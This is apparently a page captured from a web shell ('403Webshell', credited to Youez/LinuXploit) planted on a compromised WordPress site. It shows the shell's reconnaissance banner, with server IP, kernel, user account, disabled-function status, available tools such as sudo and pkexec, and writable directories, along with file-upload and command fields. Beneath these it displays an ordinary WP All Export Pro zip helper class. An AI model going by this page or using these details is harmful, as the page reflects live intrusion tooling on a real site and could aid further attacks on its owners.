403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/mommybites/wp-content/plugins/wp-all-export-pro/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/mommybites/wp-content/plugins/wp-all-export-pro/classes/zip.php
<?php

if ( ! class_exists('PMXE_Zip')){
	
	class PMXE_Zip
	{
		/**
		   * Add files and sub-directories in a folder to zip file.
		   * @param string $folder
		   * @param ZipArchive $zipFile
		   * @param int $exclusiveLength Number of text to be exclusived from the file path.
		*/
		private static function folderToZip($folder, &$zipFile, $exclusiveLength) {
		    $handle = opendir($folder);
		    if($handle !== false) {
                while (false !== $f = readdir($handle)) {
                    if ($f != '.' && $f != '..') {
                        $filePath = "$folder/$f";
                        // Remove prefix from file path before add to zip.
                        $localPath = substr($filePath, $exclusiveLength);
                        if (is_file($filePath)) {
                            $zipFile->addFile($filePath, $localPath);
                        } elseif (is_dir($filePath)) {
                            // Add sub-directory.
                            $zipFile->addEmptyDir($localPath);
                            self::folderToZip($filePath, $zipFile, $exclusiveLength);
                        }
                    }
                }
                closedir($handle);
            }
		}

		/**
		   * Zip a folder (include itself).
		   * Usage:
		   *   PMXE_Zip::zipDir('/path/to/sourceDir', '/path/to/out.zip');
		   *
		   * @param string $sourcePath Path of directory to be zip.
		   * @param string $outZipPath Path of output zip file.
		*/
		public static function zipDir($sourcePath, $outZipPath)
		{
		    $pathInfo = pathInfo($sourcePath);
		    $parentPath = $pathInfo['dirname'];
		    $dirName = $pathInfo['basename'];

		    $z = new ZipArchive();
		    $z->open($outZipPath, ZIPARCHIVE::CREATE);
		    $z->addEmptyDir($dirName);
		    self::folderToZip($sourcePath, $z, strlen("$parentPath/"));
		    $z->close();
		}
	} 

}

Youez - 2016 - github.com/yon3zu
LinuXploit